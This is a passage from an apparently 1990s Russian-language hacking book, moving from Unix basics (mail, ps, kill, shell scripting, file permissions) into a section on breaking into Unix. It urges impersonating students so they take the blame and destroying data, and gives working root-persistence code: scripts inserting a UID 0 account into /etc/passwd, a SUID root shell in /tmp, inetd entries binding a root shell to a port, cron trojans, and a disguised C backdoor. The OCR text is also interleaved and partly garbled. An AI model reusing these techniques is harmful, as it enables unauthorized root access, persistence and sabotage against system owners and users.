sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!
finger optik!phiber
Вывести основную информацию об эккаунте. Но не забивайте себе головы. Мы просто объясняем принципы.
Формат: finger имя_пользователя Но если умного мейлера нет, то вы должны знать полный путь к тому, ко
му вы хотите послать почту. Например, я хочу послать сообщение
grep к phiber. И если умного мейлера нет, то я должен писать так:
Искать в файле цепочку символов. $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!
optik!phiber
Синтаксис: grep цепочка file Привет. Как дела? Ну, мне пора. Длинное вышло письмецо, верно?
$ grep 1 newtext (control D)
Это строка 1 $
$ grep ПЕРВАЯ newtext Когда он это сообщение получит, в нем будет строк 20 информа
Это ПЕРВАЯ строка ции, это нечто вроде почтовых штемпелей всех систем, через которые
$ grep "ПЕРВАЯ line 1" newtext мое сообщение прошло, а строка «от кого» будет выглядеть так:
$ From optik!sirhacksys!att.com!sc1!sbell!pacbell!
unisys!sys!sirhack <Sir Hack>
mail
Для посылки локального сообщения достаточно набрать «mail
Очень полезная утилита. Вы уже наверняка догадались по имени,
username», где username — логин получателя. Затем наберите сообщение
для чего она. Их существует несколько, например, ELM, MUSH и MSH,
и завершите его controlD.
но базовая почтовая программа называется mail. Как ей пользоваться:
Для чтения поступившей вам почты просто введите mail. То есть:
mail username@address
$ mail
или От: scythian ............
mail username Кому: sirhack ............
Тема: Well....
или Ну, блин!
mail ?
Точки обозначают всякую пропущенную бредятину. Каждая вер
или сия программы mail оформляет свои заголовки.
mail addr1!addr2!addr3!user Знак вопроса — это подсказка. После него можно ввести:
«mail username@address» — такая запись используется для посылки ◆ d — удалить
почты комуто в другой системе. Обычно это другой UNIX, но некото
рые DOS и VAXмашины могут принимать Unix Mail. Когда вы исполь ◆ f username — переслать копию к username
зуете «mail user@address», то ваша система должна иметь «умный мейлер»
◆ w fname — записать сообщение в файл с именем fname
и то, что мы называем «планами системы». «Умный мейлер» распознает
Система Unix 93 94 Система Unix

◆ s fname — сохранить сообщение с заголовком в файл был запущен process. Это действительно полезно знать только в том слу
с именем fname чае, если вы используете слои (спокойно!) или более одного пользовате
ля вошли в систему с тем же эккаунтом. Команда ps f выдаст полный
◆ q — выйти/обновить mail
листинг процессов, поэтому вместо краткого «watch» вы, скорее всего,
◆ x — выйти, но ничего не менять увидите «watch scythian».
◆ m username — написать сообщение к username
kill
◆ r — ответить отправителю Прервать процесс. Очевидно, что команда используется для пре
◆ [enter] — прочесть следующее сообщение кращения работы программы в памяти. Вы можете прервать только те
процессы, которыми владеете (те, которые вы запустили), если только вы
◆ + — перейти на одно сообщение дальше не корневой пользователь или если ваш EUID не такой же, как и у про
◆  — вернуться на одно сообщение назад цесса, который вы хотите прервать. (Про EUID потом). Если вы прерве
те процесс оболочки, то вылетите из системы. По тому же принципу, ес
◆ h — распечатать заголовки сообщений из почтового ли вы вырубите процесс чьейто оболочки, то этот ктото тоже вылетит.
ящика. Поэтому, если я введу «kill 122», то система меня выплюнет. Однако kill
Есть и другие команды. Чтобы увидеть их перечень, обычно вво лишь посылает UNIX сигнал с указанием «прервать процесс». И если вы
дят '?'. примените синтаксис «kill pid», то UNIX вырубит процесс тогда, когда
ему захочется, а такое может не случиться никогда. Значит, вы можете
Если вы посылаете почту комуто не из своей системы, то ответа сами определять срочность! Попробуйте «kill num pid» (num — число).
придется ждать дольше, потому что тут все будет как с обычным пись
мом — его должен забрать «почтальон». Для передачи почты система мо Kill 9 pid — это безусловное и почти мгновенное прерывание.
жет вызвать и использовать UUCP. Обычно UUCP эккаунты никому не $ kill 122
нужны — если только у вас не используется UUCP, способный перехва $ kill 123
тывать почту. $ ps
PID TTY NAME
ps 122 001 ksh
123 001 watch
Процесс. Эта команда позволяет увидеть, что именно вы делаете
$ kill 9 123
в оперативной памяти. При каждом запуске программы ей для учетных
[123]: killed
целей назначается Идентификатор Процесса (PID), и поэтому ее можно
$ kill 9 122
отследить в памяти, а также закрыть — вами или корневым пользовате
garbage
лем. Обычно команда ps в перечне процессов первой указывает имя запу
NO CARRIER
щенной вами оболочки. Допустим, я вошел под логином sirhack, исполь
зуя оболочку «csh», и у меня работает «watch scythian». Программа watch Вы также можете ввести «kill 1 0», чтобы прервать свою оболочку
перейдет в фоновый режим, то есть я смогу делать чтото другое, пока и выйти из системы. Это полезно в скриптах.
она работает:
$ ps Глава 7.
PID TTY NAME
122 001 ksh Программирование оболочки
123 001 watch
$ Программирование оболочки есть по сути создание «скриптово
го» файла для стандартной оболочки, то есть sh, ksh, csh или их разновид
Это сокращенный листинг PS, выводящийся по умолчанию. В ко
ностей. Это нечто вроде .bat файла MSDOS, но более сложного и более
лонке TTY перечислены «tty» (устройства ввода/вывода), через которые
гибкого. Он может оказаться полезным в одном аспекте хакерства.
Система Unix 95 96 Система Unix

Сперва займемся переменными. Переменным, очевидно, можно trap


присвоить значения — как символьные, там и числовые. Выражение Отслеживает применение кемто команды прерывания (Ctrlc).
number=1
Формат:
присваивает переменной «number» значение 1.
trap «command; command; command; и т.д.»
string=Hi There
Пример:
или
trap "echo 'Фигушки!! Ты так легко от меня не избавишься' ; echo
string="Hi There" 'Придется тебе это прочитать!'"
Оба выражения присваивают переменной string значение «Hi И теперь, если я нажму controlc во время работы скрипта, то уви
there». жу на экране вот что:
Однако использование переменной — это совсем другое дело. Ес Фигушки!! Ты так легко от меня не избавишься
ли вы хотите использовать переменную, перед ней должен стоять знак Придется тебе это прочитать!
доллара ($). Такие переменные могут быть использованы в программах в
качестве аргументов. Когда было написано, что скрипты подобны еxit
batфайлам, то имелось в виду именно это. В файл скрипта можно ввес Формат: exit [число]. Обеспечивает выход из оболочки, возвращая
ти имя любой программы, и она будет исполнена. Вот простой скрипт: код, равный «числу».
counter=1
arg1=" uf" CASE
arg2="scythian" Выполнение case подобно выбору из меню. Формат команды или
ps $arg1 $arg2 структуры таков:
echo $counter
case переменная in
Этот скрипт выполняет трансляцию в «ps uf scythian», а после за 1) command;
вершения работы печатает «1». Еcho выводит на экран как текстовые, так command;;
и цифровые константы. 2) command;
Другие команды и примеры: command;
command;;
read *) command;;
esac
Считывает чтолибо в переменную.
Каждая часть может иметь любое количество команд. Однако по
Формат: read переменная. Здесь знак доллара не нужен! Если я хо сле последней команды должны стоять «;;». Возьмем такое меню:
чу узнать чьето имя, то могу написать:
echo "Выберите:"
echo "Как ваше имя?" echo "(D)irectory (L)ogoff (S)hell"
read hisname read choice
echo Hello $hisname case $choice in
Как ваше имя? D) echo "Создаю раздел...";
Sir Hackalot ls al ;;
Привет Sir Hackalot L) echo Пока;
kill 1 0;;
Запомните: read может считывать и числовые значения. S) exit;;
*) Echo "Ошибка! Это не команда ";;
esac
Система Unix 97 98 Система Unix

esac обозначает конец функции case. Он должен стоять после по ◆ gt > (больше)
следней команды.
◆ lt < (меньше)
◆ ge >= (больше или равно)
Глава 8.
◆ le <= (меньше или равно)
Петли
Для строк это:
Итак, петли. Таких функций две: петли for и петли repeat. ◆ = если равно
Петли repeat выглядят так: ◆ != если не равно
repeat нечто нечто1 нечто2 Если выражение верно, то функция возвращает ноль. Смотрите:
Эта функция выполняет повторение секции вашего скрипта для test 3 eq 3
каждого «нечто». Если я напишу: это означает проверку на верность выражения 3 = 3, и будет выве
repeat scythian sirhack prophet ден ноль.
то увижу на своем экране scythian, затем sirhack, затем prophet.
Петля for определяется как Глава 10.
for для переменной в чемто EXPR
do (делай)
Применяется для числовых функций. Как правило, вы не можете
.. просто напечатать:
.. echo 4 + 5
и получить ответ. Вы должны написать:
done (сделано)
expr переменная [или число] оператор переменная2 [или число]
пример:
for counter in 1 2 3 Операторы таковы:
do ◆ + сложение
echo $counter
done ◆ – вычитание
Будут выведены значения 1, затем 2, затем 3. ◆ * умножение
◆ / деление
Глава 9. ◆ ^ — степень (в некоторых системах)
Использование TEST Пример:
Формат: Test переменная опция переменная expr 4 + 5
var = expr 4 + 5
Опции таковы: var получит значение 9.
◆ eq = (равно) В некоторых системах expr иногда распечатывает формулу. Хочу
◆ ne <> (не равно) пояснить, что 22+12 вовсе не то же самое, что 22 + 12. Если вы введете:
Система Unix 99 100 Система Unix

expr 22+12 сы публичного доступа делают это за вас, но в системе, где вы работаете,
то увидите пути могут быть и не указаны.
22+12
А если введете:
TERM
Тип вашего терминала. Юникс имеет библиотеку функций с име
expr 22 + 12
нем «CURSES», которая способна добиться максимума от терминала
то увидите: любого типа — при условии, что обнаружит соответствующие escкоды.
34 Если вы работаете с экранноориентированными программами, то
должны установить какието параметры дисплея. Типы дисплеев и их
escкоды находятся в файле TERMCAP. Но не забивайте себе голову,
Глава 11. просто установите свой дисплей на ansi или vt100, CURSES даст вам
Системные переменные знать, если не сможет манипулировать эмуляцией вашего терминала.

Это переменные, используемые оболочкой, и они обычно задают


ся в системном файле .profile. Глава 12.
Компилятор С
HOME
Расположение вашего home (домашнего) раздела. Тут я буду краток. Почему? Потому что если хотите выучиться ра
ботать в С, то пойдите и купите себе книгу. У меня нет времени писать
PS1 еще один текстовый файл про С, потому что он будет огромным. Боль
шинство программ пишется на С. В Юниксе исходные коды программ
Определяет, как выглядит подсказка в командной строке. Обычно обозначаются как имяфайла.с. Для запуска исходника на компиляцию
как $. В BSD это обычно &. дайте команду cc имяфайла.c.

PATH Не все программы С станут компилироваться, потому что они мо


гут зависеть от других файлов, которых нет на вашем диске, или же это не
Путь поиска программ. Когда вы вводите имя программы для ее
полные исходники, а лишь модули. Если вы увидите нечто названное
запуска, она находится не в оперативной памяти, а на диске, и должна
«makefile», то в таких случаях обычно достаточно набрать «make» в ко
быть сперва оттуда загружена. В отличие от MSDOS, большинство ко
мандной строке, и это нечто скомпилируется или попытается скомпили
манд не находится в памяти. Если программа указана в пути поиска, она
роваться.
может быть запущена на исполнение независимо от того, в каком разде
ле вы находитесь, а если не указана, то вы должны запускать ее из разде Запуская «make» или «сс», умные люди пользуются операндом ра
ла, где находится сама программа. Путь — это по сути перечень разделов, боты в фоновом режиме, потому что иногда компиляция длится безумно
в котором имена разделов отделяются двоеточиями. Вот типичный путь долго.
поиска:
Пример:
:/bin:/etc:/usr/lbin:$HOME:
$ cc login.c&
Когда вы попытаетесь запустить программу на выполнение, Unix [1234]
станет ее искать в /bin, /etc, /usr, /lbin и вашем домашнем разделе, и если $
не найдет, выдаст сообщение об ошибке. Поиск по разделам произво
дится в том порядке, в каком они перечислены. Поэтому если у вас в до (1234 — это номер процесса, под которым он идентифицируется.)
машнем разделе есть программа с именем «sh» и вы введете «sh», то даже
если вы сделаете это из домашнего раздела, Unix запустит на исполнение
программу из раздела /bin. Поэтому пути следует задавать с умом. Юник
Система Unix 101 102 Система Unix

Глава 13. Глава 14.


Файловая система Файловые допуски
Это инструментальная часть Unix. Если вы не поймете этот раз Ну, наконецто добрались до действительно серьезного. Файло
дел, вам никогда не удастся хакать Unix, потому что многие из приколов вые допуски. Что это такое, понять нетрудно, но я все равно объясню по
и штучек для «поднятия доступа» завязаны именно на файловую сис дробно.
тему.
Итак, теперь вы должны мыслить категориями «группы пользова
Для начала поговорим о структуре разделов. По сути это иерархи телей» и «имена пользователей». Каждый принадлежит к группе. В ко
ческая файловая система, то есть она начинается в корневом разделе мандной строке вы можете после подсказки (знака доллара) набрать «id»
и далее ветвится, как в MSDOS и, возможно, в AmigaDos. и посмотреть, к какой группе вы принадлежите. Группы используются
для организации допуска пользователей к определенным вещам. Если бы
Вот нечто вроде дерева разделов ((d) обозначает раздел):
их не было, то лишь один человек контролировал/имел бы допуск к оп
/ (корневой раздел) ределенным файлам. Запомните также, что Unix, определяя доступ, смо
трит на UID пользователя, а не на его имя.
|
Идем дальше. В файловых допусках нет ничего сложного. У каж
||
дого файла есть владелец (owner). Обычно файлом владеет тот, кто его
bin (d) usr (d) создал, — скопировав файл или даже просто отредактировав его. Запом
ните, что владелец файла должен быть тем, кто управляет CHOWN, по
^ скольку он единственный, кто может изменить файловые допуски. Кро
| | | ме того, есть еще и владелец группы — обычно это группа, в которой вы
находились, когда файл был создан. Для смены группы, к которой при
sirhack(d) scythian (d) prophet (d) надлежит файл, нужно выполнить команду chgrp.
| Далее. Файлы могут иметь допуски на выполнение, чтение или за
src (d) пись. Если у вас есть допуск на выполнение, то вы знаете, что вам доста
точно набрать имя программы в командной строке, и она выполнится.
Итак, эта конкретная система содержит следующие разделы: Если у вас есть допуск на чтение, то вы, очевидно, можете файл читать и
◆ / делать все, что связано с чтением, — например, копировать или печатать
его. Но если у вас нет доступа на чтение файла, то вы не сможете сделать
◆ /bin ничего, что требует его прочтения. То же самое справедливо и для допу
◆ /usr ска на запись. Далее, все допуски делятся на три группы. Первая — допу
ски владельца. Он может установить себе допуски на чтение и выполне
◆ /usr/sirhack ние файла, но не на запись в него. Это не позволит ему удалить такой
◆ /usr/sirhack/src файл. Вторая — групповые допуски. Возьмем для примера такой раздел:
$ ls l runme
◆ /usr/scythian r xrwxr sirhack root 10990 March 21 runme
◆ /usr/prophet Здесь «root» есть имя группы, в которой находится файл.
Надеюсь, вы поняли эту главку. Все произрастает из корневого «sirhack» — владелец файла. И если у группы «root» есть допуски на чте
раздела. ние, запись и выполнение файла, то именно это они и могут с ним де
лать. Скажем, на этот файл наткнулся Scythian, а он принадлежит к груп
пе пользователей «root». Тогда он может файл читать, записывать в него
Система Unix 103 104 Взлом Unix

и выполнять. А потом файл обнаружил datawiz, но он из группы «пользо


ватели». В таком случае групповые допуски на него не распространяют Взлом UNIX
ся, поэтому он не может тронуть этот файл, верно? Вроде того. Есть тре
тья категория допусков — для «другой» группы. Это означает, что
допуски в «другой» группе распространяются на всех, кроме ее владель
ца, и на пользователей из той же группы, к какой принадлежит файл.
Взгляните на листинг раздела вверху, и вы увидите строчку допусков Глава 1.
r x rwxr Помните!
Первые три символа означают допуски для владельца (rx). (rx)
переводится как «читать и выполнять разрешается, но записывать в файл В любой момент вас могут засечь операторы, но чаще всего их это
нельзя». Второй набор из трех символов мало интересует, либо информация на их машинах меняется так быстро,
что они не успевают считывать ее, а если же вы забудете свой пароль или
r xRWXr
попытаетесь войти в недоступные вам файлы, то система автоматически
(тот, что заглавными буквами) есть групповые допуски, и они оз запишет все ваши действия... А некоторые системы вообще регистриру
начают «читать, записывать и выполнять разрешается». ют все ваши телодвижения!
Третий набор
r xrwxR Глава 2.
есть допуски для всех прочих. Он означает «читать можно, но
больше ничего». Как зарегистрироваться под чужим
Листинг раздела будет выглядеть примерно так: именем
$ ls l Это — ключевой момент взлома системы UNIX. Допустим, вы
drwxr xr x sirhack root 342 March 11 src опасаетесь заниматься хакингом под собственным ID. И к тому же жела
Раздел помечен буквой «d» в начале строки допусков. Итак, владе ете по возможности использовать при каждом заходе в систему различ
лец раздела (sirhack) может читать из раздела, записывать в раздел и вы ные пользовательские ID.
полнять программы из раздела. Корневая группа и все прочие могут
Без некоего начального доступа к системе получить имя и пароль
лишь читать из раздела и выполнять программы, находящиеся вне его.
невозможно. Что же делать? Не забывайте, что GANDALF data switch от
Поэтому если я захочу сделать раздел только выполняемым, то это будет
нюдь не совершенен. Один из пяти логинов без проблем пропустит вас
выглядеть так:
под чужим именем. Вам остается только изменить контроль по четности
$ chmod go r (8N1 на Е71), в то время как GANDALF загружает UNIX. Вам наверняка
$ ls удастся зарегистрироваться таким образом. И это произойдет изза того,
drwx x x sirhack root 342 March 11 src что некоторые пользователи используют телефонные линии по их пря
Если теперь в раздел зайдет ктото, кроме «sirhack», то он сможет мому назначению, не завершив работу на компьютере. Всегда следите за
лишь выполнять находящиеся там программы. Если он запустит коман тем, чтобы по завершении работы обязательно выйти из системы.
ду ls, чтобы войти в раздел src, то, оказавшись внутри, увидит сообщение
Пару дней назад я лез в систему под чужим именем и, непонятно
«cannot read directory» (не могу прочесть раздел). Если в разделе есть до
почему, не получил доступа. На моем мониторе высветились слова «LOG
ступный для чтения файл, но сам раздел имеет запрет на чтение, то ино
OFF», и я просто был выброшен из системы. Подозреваю, что человек,
гда всетаки бывает возможно этот файл прочесть.
чьим именем я воспользовался, как раз в тот момент сидел на терминале,
Если у вас нет допуска на выполнение в какомто разделе, то управляемом суперпользователем. И он сообщил SU (суперпользовате
в большинстве случаев вы не сможете запустить ни одной программы из лю) о том, что в системе появился его двойник (возможно, он установил
этого раздела. это, используя команду WHO).
Взлом Unix 105 106 Взлом Unix

Глава 3. му что кафедре информатики всегда некогда поставить своим студентам


фиксированные пароли. Считается, что студентыновички должны сами
Блокирование выбрать себе пароль, но тогда как же можно различить, кто студент, а кто
хакер?
Еще такой момент. UNIX дает возможность блокировать некото
рых пользователей и ограничивать им доступ к системе. Вероятнее всего, ваша халява не продлится и нескольких дней, по
этому лучше всего будет, если вы воспользуетесь ситуацией и оторветесь
Для начала вы выбираете гражданина, которому собираетесь за по полной программе, разрушайте там все, что можно разрушить. Кроме
крыть доступ. Затем помещаете в его начальный каталог (тот, который того, вы можете блокировать доступ всему компьютерному классу!
UNIX автоматически загружает при входе в систему) файл VI.LOGIN.
Если у вас богатый опыт работы на компьютере и вы умеете взла
VI.LOGIN должен выглядеть примерно так: мывать пароли в файле PASSWRDS, то можете получить пароль супер
VI.LOGIN пользователя (SU) и тогда уж развлекаться на полную катушку!
logout
Великолепно. Вы пробыли в системе UNIX всю ночь, пытаясь во
Таким образом, VI.LOGIN будет включать в себя только одну плотить в жизнь все идеи, которые только пришли вам на ум. Система
единственную команду. Она срабатывает автоматически: как только этот вам уже кажется тесной. И выглядит просто спичечным коробком. Сис
пользователь попытается войти в систему, вход в нее окажется заблоки тема на самом деле тесна. Вы испробовали все, что можно испробовать.
рован. Пароли по умолчанию, пароли, которые вы раскрыли, дефекты NIS, ды
Важно: каждые несколько дней проверяйте в силе ли ваше блоки ры NFS, «кривые» разрешения к файлам и условия маршрутизации, шу
рование, а блокирование особо значимых для вас пользователей можно точки со SUID, ошибки в Sendmail и так далее. Все. Погодите! А это что
проверять и чаще. такое? «#»? Наконецтаки!

Эта программа должна работать под КОРНЕМ (ROOT — имя су После, как казалось, бесконечного тяжелого труда вам в конце
перпользователя). концов удалось взломать root. И что же теперь? Что вы будете делать с
этой бесценной привилегией суперпользователя, ради которой при
шлось столько потрудиться?
Глава 4.
Как приобрести новое имя Глава 5.
Предлагаем еще один способ приобретения пользователем не Как удержаться на уровне root
скольких имен и паролей. Сначала (самое трудное) необходимо дождать
ся начала семестра и достать список идентификационных номеров сту В этой главе описывается, как удержаться на уровне корня, и она
дентов, учащихся в группах с углубленным изучением системы UNIX. будет полезна как для хакеров, так и для администраторов.
Обычно этот список вывешивается на двери деканата или гденибудь Предупреждение: Выясните расположение главных системных
еще. Допустим, что этот список вы уже нашли. файлов. Это вам необходимо (если вы не можете вспомнить хотя бы не
Далее, лучше всего в самом начале учебного года, попробуйте вой которые из них, прекратите чтение данной главы, полистайте книгу о си
ти в систему под именами нескольких (возможно, 34) студентов. Пред стеме UNIX и после этого возвращайтесь к нам).
почтительней пользоваться ID студентов самого низкого уровня доступа, Ознакомьтесь с форматами файлов passwrd (включая обычных
так как если вы попадетесь, то именно студент примет на себя весь удар, 7 форматов, систему специальных имен, механизмы затенения и т.д.).
полагая, что он сам сделал чтото не так. Смело входите в систему, и ес Почитайте о vi. Создатели большинства систем не столь дружелюбно на
ли студент еще не занимался в UNIX, то сразу же выскочит запрос на строены по отношению к пользователю, как создатели UNIX Пико и
ввод пароля. Великолепно! Вы не только получили доступ, но и еще мо Эмакс. Vi вам поможет быстро найти и при необходимости отредактиро
жете установить любой пароль по своему выбору! Так происходит, пото вать очень большой файл. Если вы подсоединяетесь к системе дистанци
Взлом Unix 107 108 Взлом Unix

онно (dialup\telnet\rlogin\whatver), то для вас тем более важно иметь chmod 644 /etc/passwd # or whatever it was beforehand
мощную программу терминала, обладающую вместительным буфером. rm ./xa* ./temppass
Он пригодится вам в случае нужды вырезать, вставлять и копировать echo Done...
файлы и выполнять другие компьютерные программы. Никогда не изменяйте пароль корня. Причины, думаю, вам оче
Длительность этого нелегального доступа полностью зависит от видны.
опыта и мастерства администратора. Опытный и умелый администратор
будет зорко следить за всеми нелегальными проникновениями в систе (2)
му, а тот факт, что вам удалось приобрести корень, говорит о том, что ад Точно таким же образом введите в действие такие уже непригод
министратор был недостаточно профессионален, или о том, что доступ ные аккаунты, как Sync. Или, возможно, другие, скрытые в файле паро
был на какоето время открыт. лей, забытые или отключенные системным администратором. Измените
UID на 0 (и уберите «*» из второго поля).
Вы должны осознать следующее: если вы сумеете замести следы
в самом начале взлома, то уже никто не сможет вычислить вас в дальней
шем. (3)
Перегоните оболочку корня в /tmp:
Несколько банальностей:
#!/bin/sh
# Everyone's favorite...
(1) cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
Добавьте UID 0 к паролю файла. Возможно, это один из самых chmod 4755 /tmp/.evilnaughtyshell
легких способов сообщить администратору о том, что вы в системе.
Многие системы чистят \tmp по ночам. Чаще всего это осуще
Если вы все же хотите это сделать, то вот вам совет — не нужно ствляется путем уничтожения файлов или занесения их в буфер. Во мно
просто приписывать этот код к паролю файла. гих системах установлены пакеты, предохраняющие от запуска программ
под SUID. Вы можете все это изменить, но даже если система примет из
Любой проверяющий моментально это заметит. Лучше впишите
менения, то очень многие могут все же это заметить... Впрочем, это уже
его посередине пароля…
другой вопрос. Мы не станем уточнять параметры необходимых измене
#!/bin/csh ний, так как они могут варьироваться на разных системах.
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. (4)
Oh well.
Системный администратор не станет первым же делом загляды
# daemon9@netcom.com
вать в конфигурационный файл хоста, так почему бы не загрузить этот
set linecount = `wc l /etc/passwd`
демон туда?
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first. Для начала немного общей информации: Internetдемон (\etc\
echo passwd file has $linecount[1] lines. inetd\) принимает запросы о связи с портами ТСР и UDP и перебрасыва
@ linecount[1] /= 2 ет нужную программу согласно поступившему запросу. Формат файла
@ linecount[1] += 1 # we only want 2 temp files \etc\inetd.conf. прост.
echo Creating two files, $linecount[1] lines each \(or approxi
mately that\). Обычные его строки выглядят следующим образом:
split $linecount[1] ./temppass # passwd string optional (1) (2) (3) (4) (5) (6) (7)
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ftp stream tcp nowait root /usr/etc/ftpd ftpd
./xaa talk dgram udp wait root /usr/etc/ntalkd ntalkd
cat ./xab >> ./xaa Первое поле (1) — это название демона, указанное в \etc\services.
mv ./xaa /etc/passwd Отсюда inetd считывает информацию о соответствующем поле
Взлом Unix 109 110 Взлом Unix

в \etc\services и после этого устанавливает параметры связанного с дан Формат \etc\services прост:
ной программой порта. (1) (2)/(3) (4)
Во втором поле содержится информация о типе службы доставки smtp 25/tcp mail
данных, необходимом для данной программы. ТСР использует stream (1) — функция, (2) — номер порта, (3) — тип протокола, необходи
(байториентированный поток), тогда как UDP — dgrams (служба, ори мый для работы программы, (4) — название функции.
ентированная на транзакции). Третье поле — поле протоколов (ТСР или
Попробуйте добавить такую строку к \etc\services:
UDP). В четвертом поле указывается статус демона. Флаг wait означает,
что демон перед продолжением прослушивания приходящих запросов evil 22/tcp evil
вынужден будет ожидать, пока сервер освободит порт. nowait, в свою оче и такую к /etc/inetd.conf:
редь, позволяет демону незамедлительно приступать к прослушиванию evil stream tcp nowait /bin/sh sh i
новых запросов. Пятое поле — это тот пользователь (или иногда UID),
Загрузите inetd.
который управляет демоном. Поле (6) — это запускающаяся при соеди
нении программа, а поле (7) содержит команды (и дополнительные аргу Обратите внимание: такой нелегальный доступ в принципе весьма
менты). Часть программ (обычно не требующих вмешательства пользо действенен. Он даст возможность использовать не только любой аккаунт
вателя) сервер может перебрасывать по сети. Это осуществляется с локальной сети, но и предоставит любой аккаунт любого компьютера
помощью флага internal в строках (6) и (7). Таким образом, для того, что с выходом в Internet.
бы самому установить нелегальный доступ к системе, выберите редко ис
пользуемую программу и переадресуйте связующего демона к програм (6) CronBтрояны I
ме, создающей оболочку корня SUID, к программе, предоставляющей
Cron — это замечательная утилита для администрирования. Она
корневой аккаунт в файле \etc\passwd и так далее.
также может быть использована для того, чтобы нелегально войти в сис
В качестве примера попробуйте следующее: тему, если, конечно корневой crontab работает исправно. И опять же не
лишне напомнить, что продолжительность работы нелегально созданно
Откройте \etc\inted.conf, если это, конечно, возможно.
го аккаунта находится в обратной зависимости от опытности и
Найдите строку: профессионализма системного администратора. Обычно список корне
daytime stream tcp nowait root internal вых файлов crontab находится в /var/spool/cron/crontabs/root. Здесь у вас
есть выбор. Мы перечислим только некоторые из возможных решений,
и поменяйте ее на: так как на самом деле их количество огромно.
daytime stream tcp nowait /bin/sh sh i
cron — это временной демон. Он представляет собой утилиту, вы
Теперь вновь откройте \etc\inetd\ и просмотрите файл конфигура полняющую команды, связанные с датами и временем.
ции. Сами решите, как это сделать. Вы можете закончить процесс и запу
стить его снова (kill 9, /usr/sbin/inetd или /usr/etc/inetd), и таким обра crontab — это команда, пересматривающая и дополняющая ваши
зом прервать все связи в сети (особое удовольствие сделать это в час пик). файлы crontab. Управлять crontab так же легко, как и редактировать
/var/spool/crontab/root.
(5) Файл crontab состоит из шести полей:
Своего рода компромиссным вариантом может стать установка
(1) (2) (3) (4) (5) (6)
новой программы, которая смогла бы запускать любую другую по ваше
му выбору. Лучше всего загрузить не чувствительную к несанкциониро 0 0 * * 1 /usr/bin/updatedb
ванным подключениям оболочку.
Поля с 1 по 5 означают: минута (059), час (023), день месяца
Вы должны убедиться в том, что доступ индицируется как (131), месяц года (112), день недели (06). Поле 6 — это выполняемая
в \etc\services, так и в \etc\inetd.conf. команда (или сценарий оболочки). Сценарий оболочки из вышеприве
денного примера используется только по понедельникам. Для запуска
Взлом Unix 111 112 Взлом Unix

cron просто добавьте вход в /var/spool/crontab/root. Например, у вас есть В это время любой обычный пользователь, попытавшийся зарегистриро
задание для cron, которое должно ежедневно запускаться и отслеживать ваться в системе или открыть файл пароля, не сможет этого сделать, тог
в файле /etc/passwd предварительно помещенный туда аккаунт UID 0 и да как ровно через минуту он не встретит никаких препятствий на своем
восстанавливать его после удаления (неплохая идея — ввести код обо пути.
лочки в сценарий оболочки в уже установленном файле crontab, тем са
Добавьте эту строку к корневому файлу crontab:
мым вы можете себя в значительной степени обезопасить).
29 2 * * * /bin/usr/sneakysneaky_passwd
Добавьте такую строку в /var/spool/crontab/root:
и проверьте:
0 0 * * * /usr/bin/trojancode
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" >
А вот и сценарий оболочки: /var/spool/mail/.sneaky
#!/bin/csh и вот очень простой сценарий оболочки:
# Is our eviluser still on the system? Let's make sure he is.
#!/bin/csh
#daemon9@netcom.com
# Install trojan /etc/passwd file for one minute
set evilflag = (`grep eviluser /etc/passwd`)
#daemon9@netcom.com
if($#evilflag == 0) then # Is he there?
cp /etc/passwd /etc/.temppass
set linecount = `wc l /etc/passwd`
cp /var/spool/mail/.sneaky /etc/passwd
cd # Do this at home.
sleep 60
cp /etc/passwd ./temppass # Safety first.
mv /etc/.temppass /etc/passwd
@ linecount[1] /= 2
@ linecount[1] += 1 (8) Генерирование кода трояна
# we only want 2 temp files
split $linecount[1] ./temppass Это очень просто. Вместо сценария оболочки используйте ка
# passwd string optional койнибудь Скод, и это поможет вам успешно замести следы. Вот как
echo "EvilUser::0:0:Mr. Sinister: это делается.
/home/sweet/home:/bin/csh" >> ./xaa Убедитесь в том, что ваш троян работает под корнем. Назовите его
cat ./xab >> ./xaa какнибудь безобидно и хорошенько замаскируйте.
mv ./xaa /etc/passwd
chmod 644 /etc/passwd В ряде случаев небольшой троян может быть создан в SUIDобо
# or whatever it was beforehand лочке при условии, что соблюдены определенные параметры. Скод в та
rm ./xa* ./temppass кой момент гораздо действеннее, нежели оболочка, и помогает лучше
echo Done... прятать результаты.
else /* daemon9@netcom.com */
endif #include
#define KEYWORD "industry3"
(7) CronBтрояны II #define BUFFERSIZE 10
Этот троян попал в поле моего зрения благодаря нашему дорогому int main(argc, argv)
мистеру Зиппи. Для того, чтобы его (трояна) запустить, вам необходимо int argc;
отыскать скрытую копию файла etc/passwd. В этом спрятанном файле char *argv[];{
(назовем его /var/spool/mail/.sneaky) заведем еще один вход с корневым int i=0;
аккаунтом и с паролем на ваш выбор. Вводим задание для cron, который, if(argv[1]){ /* we've got an argument, is it the keyword? */
например, будет каждую ночь в 2.30 (или в любое другое время) сохра if(!(strcmp(KEYWORD,argv[1]))){
нять копию настоящего \etc\passwd файла и активизировать при этом /* Это уже троян */
троянскую версию данного файла сроком на одну минуту (сверьте часы!). system("cp /bin/csh /bin/.swp121");
Взлом Unix 113 114 Взлом Unix

system("chown root /bin/.swp121"); (10) Скрытый Троян в обычных программах


system("chmod 4755 /bin/.swp121");
Это не самый лучший метод, но зато его следы могут быть обнару
}
жены только такими программами, как tripwire.
}
/* Put your possibly system specific trojan Идея проста: вживить трояна в наиболее часто и широко исполь
messages here */ зуемую программу. Для нас особенно важны программы su, login и pass
/* Let's look like we're doing something... */ wrd, так как они идут под корнем и к ним не надо переустанавливать раз
printf("Sychronizing bitmap image records."); решения. Ниже мы приведем несколько примеров на разные случаи,
/* system("ls alR / >& /dev/null > /dev/null&"); */ чтобы вы почувствовали всю прелесть взлома системы UNIX. (Примеча
for(;i<10;i++){ ние: Это не всегда проходит, так как некоторые поставщики не столь бес
fprintf(stderr,"."); печны, как большинство других). Если код покажется вам очень длин
sleep(1); ным или просто не нравится, мы предлагаем вам общий шаблон, этакую
} болванку:
printf("\nDone.\n"); Подключаемся
return(0); Если подключиться не удается, запускаем вирус
} /* End main */ Если все идет, как надо, то не останавливаемся на полпути
Выходим с ошибкой
(9) ФайлBпсевдоним в sendmail …
